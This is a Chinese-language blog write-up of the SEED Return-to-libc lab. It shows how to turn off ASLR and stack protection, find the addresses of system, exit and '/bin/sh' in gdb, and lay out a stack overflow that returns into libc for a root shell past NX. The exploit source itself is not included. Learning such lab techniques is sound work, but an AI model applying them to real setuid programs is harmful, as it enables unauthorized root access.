首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Return-to-libc

Return-to-libc

作者头像
De4dCr0w
发布于 2019-02-27 06:08:21
发布于 2019-02-27 06:08:21
1.7K00
代码可运行
举报
运行总次数:0
代码可运行

实验步骤

(1)初始化:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ su root  
Password: (enter root password)  
# /sbin/sysctl -w kernel.randomize_va_space=0  
(关闭地址随机化)  

(2)编写exploit.c 文件,溢出程序的编写:(如下图)

(3)编译exploit.c文件,生成exploit文件,执行exploit,生成badfile文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ gcc -o exploit exploit.c
$./exploit
// create the badfile  

(4)编译stack.c文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ su root
Password (enter root password)
# gcc -o retlib -z execstack -fno-stack-protector -g retlib.c
# chmod 4755 stack
# exit
-z execstack : 使填写在栈内的内容能过执行
-fno-stack-protector : 关闭栈溢出保护,使栈可以被溢出
-g : 可调试编译,使程序能够被调试  

(5)执行retlib,获得root权限

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$./retlib
// launch the attack by running the vulnerable program
# <---- Bingo! You’ve got a root shell!

实验过程

(1)寻找system,exit,“/bin/sh”的地址

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb retlib

(gdb) b main
Breakpoint 1 at 0x80484bc: file retlib.c, line 20.
(gdb) r
Starting program: /home/seed/Lesson1/retlib 

Breakpoint 1, main (argc=1, argv=0xbffff414) at retlib.c:20
20	    badfile = fopen("badfile", "r");
(gdb) p system     (寻找调用system的地址)
$1 = {<text variable, no debug info>} 0xb7e5f430 <system>
(gdb) find system,+9999999,"/bin/sh"  (寻找“/bin/sh”字符串的地址)
0xb7f80fb8
warning: Unable to access target memory at 0xb7fc74c0, halting search.
1 pattern found.
(gdb) p exit    (寻找调用exit的地址)
$2 = {<text variable, no debug info>} 0xb7e52fb0 <exit>
(gdb) p setuid  (寻找调用setuid的地址)
$3 = {<text variable, no debug info>} 0xb7ed8e40 <setuid>
(gdb) 

(2)找到bof函数的返回地址,反汇编bof函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(gdb) disassemble bof
Dump of assembler code for function bof:
0x08048484 <+0>:	push   %ebp
0x08048485 <+1>:	mov    %esp,%ebp
   	0x08048487 <+3>:	sub    $0x28,%esp
  	0x0804848a <+6>:	lea    -0x14(%ebp),%eax
 	0x0804848d <+9>:	mov    0x8(%ebp),%edx
   	0x08048490 <+12>:	mov    %edx,0xc(%esp)
   	0x08048494 <+16>:	movl   $0x28,0x8(%esp)
   	0x0804849c <+24>:	movl   $0x1,0x4(%esp)
   	0x080484a4 <+32>:	mov    %eax,(%esp)
   	0x080484a7 <+35>:	call   0x8048380 <fread@plt>
   	0x080484ac <+40>:	mov    $0x1,%eax
   	0x080484b1 <+45>:	leave  
   	0x080484b2 <+46>:	ret    
End of assembler dump.

  这里eax(-0x14(%ebp))存的是buffer[0]的地址,且0x14 = 20,说明ebp和buffer[0]的地址相差20个字节,所以跳转地址就应该填在buffer[24]~buffer[27]的位置,所以只要把system的调用地址填在这,就可以跳转去执行system函数了,然后依次去执行exit函数(buffer[28]~buffer[31])

这里”/bin/sh” 为什么放在 exit 函数后面?

解答:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
0x080484b1 <+45>: leave  

相当于语句:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pop %ebp
mov %ebp, %esp

然后执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
0x080484b2 <+46>: ret 
This instruction simply pops the return address out of the stack, 
and then jump to the return address. 

leave 指令 pop ebp后栈内 esp 指向 return address,ret 指令跳转到 system(),执行system函数时,先push函数参数再执行call,而call的时候会将返回地址push到栈上,所以我们在构建栈帧的时候,system函数的地址与参数的地址之间需要填充一个虚构的返回函数,这里我们填充exit函数地址。

(图为网上一道pwn题的思路,可以帮助理解,和本实验的地址不一样)

我们可以利用Return-to-libc的方法构建栈帧绕过NX选项:   NX即No-eXecute(不可执行)的意思,NX选项会将进程特殊区域的内存标记为不可执行,当CPU跳转到这些区域执行代码的时候便会产生异常,以阻止缓冲区溢出时直接在栈上执行恶意代码。   gcc编译器默认开启了NX选项,如果需要关闭NX选项,可以给gcc编译器添加-z execstack参数。在Windows下,类似的概念为DEP(Data Execution Prevention,数据执行保护),在最新版的Visual Studio中默认开启了DEP编译选项

我们可以使用checksec.sh脚本可以方便的查看可执行程序是否启用了NX,checksec脚本的下载地址为:http://www.trapkit.de/tools/checksec.sh

实验地址:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Return_to_libc/

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
小程序逆向分析 (二) 跑起来
李老板: 奋飞呀,光Debug一下没啥意思,有没有可能把这个反编译出来的小程序跑起来?还是说反编译的代码有缺漏,不好使?
奋飞安全
2021/09/10
1.5K0
【小程序逆向专栏】某润选房小程序逆向分析
本文章中所有内容仅供学习交流使用,不用于其他任何目的,不提供完整代码,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关!
K哥爬虫
2024/04/30
3860
【小程序逆向专栏】某润选房小程序逆向分析
获取任何小程序源码
这种方法,并不能反编译出所有的小程序源码,请自知! 具体的局限请看:qwerty472123大神的md文件  https://github.com/qwerty472123/wxappUnpacker 
似水的流年
2019/12/06
4.6K0
微信小程序反编译
备份地址:  https://github.com/Ryan-Miao/wxappUnpacker
Ryan-Miao
2019/11/05
9630
微信小程序 Spdier - OfferShow 反编译逆向(一)
本文需要使用到的工具有: Charles抓包工具、夜神模拟器、微信开发者工具、wxapkg反编译工具CrackMinApp; 提示:需要安装好Charles和夜神模拟器并配置好App抓包环境,以及安装好微信开发者工具 / 反编译工具CrackMinApp Charles&夜神模拟器安装教程:https://blog.csdn.net/EXIxiaozhou/article/details/127767808 微信开发者工具 / 反编译工具CrackMinApp 下载安装:https://blog.csdn.net/EXIxiaozhou/article/details/128110468 该文章涉及到App抓包以及微信小程序反编译逆向等相关的Spider技术
EXI-小洲
2022/12/28
1.6K0
微信小程序 Spdier - OfferShow 反编译逆向(一)
反编译小程序,这一篇就够了!!!
看到人家上线的小程序的效果,纯靠推测,部分效果在绞尽脑汁后能做出大致的实现,但是有些细节,费劲全力都没能做出来。很想一窥源码?查看究竟?看看大厂的前端大神们是如何规避了小程序的各种奇葩的坑?那么赶紧来试试吧。
林老师带你学编程
2020/02/13
13.8K1
微信小程序反编译解包教程
(1)安装手机模拟器,比如说夜神、MuMu(https://mumu.163.com/360/)
超级小可爱
2023/02/20
2.1K0
谈下微信小程序的抓取技巧
今天聊下微信小程序的抓取,其实小程序的抓取不难,主要解决抓包和如何调试小程序这两个问题。如果你运用chrome调试已经比较熟练了的话,就手到擒来。
sergiojune
2019/09/17
9K0
谈下微信小程序的抓取技巧
关于Burp无法抓取微信小程序数据包解决办法
鉴于WEB端的站点防护能力已经越来越强,或许已经不再是那么好突破了,所有考虑了很久我是否应该将自己有限的火力集中到微信小程序端。毕竟现在早已是移动互联网的时代。这里也是记录一下在挖微信小程序时遇到抓不到数据包的情况。 由于微信的版本更新(version 7.0以上),其不再信任系统预装的的CA证书,只相信自己内置的证书。这里我也是尝试一些互联网上的方法,在不降低微信版本的前提给出如下解决方案:
Tommonkey
2023/03/20
3.3K0
关于Burp无法抓取微信小程序数据包解决办法
再搞个大点的 某小视频App X-Gorgon 分析
TIP: 本文的目的只有一个就是学习更多的逆向技巧和思路,如果有人利用本文技术去进行非法商业获取利益带来的法律责任都是操作者自己承担,和本文以及作者没关系,本文涉及到的代码项目可以去 奋飞的朋友们 知识星球自取,欢迎加入知识星球一起学习探讨技术。有问题可以加我wx: fenfei331 讨论下。
奋飞安全
2021/05/25
1.3K0
再搞个大点的 某小视频App X-Gorgon 分析
记一次微信小程序逆向
加密嘛,之前抓了看到是加密就放弃了,现在重新弄一弄 https://github.com/wux1an/wxapkg 用这个工具反编译本地微信小程序
亿人安全
2024/05/14
1.5K1
记一次微信小程序逆向
使用Xposed进行微信小程序API的hook
  上一篇文章讲了安卓的虚拟定位相关的内容,最后编写了一个frida脚本来对Framework层的API进行hook实现虚拟定位。但是有几点局限性:
大A
2023/02/14
7.5K0
如何使用NinjaDroid对Android APK进行逆向工程分析
NinjaDroid是一款针对Android APK包的逆向工程分析工具。NinjaDroid使用了AXMLParser以及一系列基于aapt、keytool和string等Python包实现其功能,并能够从给定的APK包中提取出一系列信息,其中包括:
FB客服
2021/10/11
2.2K0
【JS逆向百例】云汉芯商城逆向分析
本文章中所有内容仅供学习交流使用,不用于其他任何目的,不提供完整代码,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关!
K哥爬虫
2024/03/25
4480
【JS逆向百例】云汉芯商城逆向分析
反编译小程序记录
1.使用自己手机上的微信打开"人堆"小程序,可以添加到"我的小程序" 2.打开模拟器的微信并登录 3.在模拟器微信的下拉小程序最近使用历史中打开"人堆",如果历史记录中没有就在我的小程序中找一找 4.打开小程序等待加载之后就可以去找源码包了 5.打开RE文件管理器,进入到以下路径查找源码包(可以根据下载时间区分出你想要的源码包)
用户1437675
2020/07/29
1.7K0
反编译小程序记录
【Web实战】零基础微信小程序逆向
由于传播、利用本公众号亿人安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号亿人安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
亿人安全
2023/11/24
1.5K0
【Web实战】零基础微信小程序逆向
以中银E路通小程序为例10分钟带你学会微信小程序的反编译
1.使用自己手机上的微信打开"中银E路通"小程序,可以添加到"我的小程序" 2.打开模拟器的微信并登录 3.在模拟器微信的下拉小程序最近使用历史中打开"中银E路通",如果历史记录中没有就在我的小程序中找一找 4.打开小程序等待加载之后就可以去找源码包了 5.打开RE文件管理器,进入到以下路径查找源码包(可以根据下载时间区分出你想要的源码包)
薛定喵君
2019/11/29
2.6K1
以中银E路通小程序为例10分钟带你学会微信小程序的反编译
如何反编译小程序的源码(微信小程序反编译工具)
git clone https://github.com/qwerty472123/wxappUnpacker.git
全栈程序员站长
2022/08/01
1.3K0
如何反编译小程序的源码(微信小程序反编译工具)
微信小程序反编译
我们在学习一项新技能时,除了认真学习官方的规范、标准和技术文档之外,还需要借鉴和参考其他优秀的产品。新手或独立学习者看到做得好的产品就想学,而往往没有好的学习渠道,因此反编译成为了一个“不太好”但有效的学习方法。闲话少说,以下是从网上搜集加自身成功实践得来的操作步骤,供大家借鉴。 一、环境准备
用户6808043
2022/02/25
7820
小程序源码丢失了怎么在微信平台反编译找回
这篇文章是总结了一下公司后台开发的经验,之前他的电脑系统突然就坏掉了,电脑里的小陈需源码也丢失了,但是小程序已经提交到微信小程序服务器平台审核通过,问了很多人,也想了很多办法,很多人说没救了,重新开发吧,但是最终在我们的努力下,找回丢失了的源码,开心。
王小婷
2025/05/18
3630
小程序源码丢失了怎么在微信平台反编译找回
相关推荐
小程序逆向分析 (二) 跑起来
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验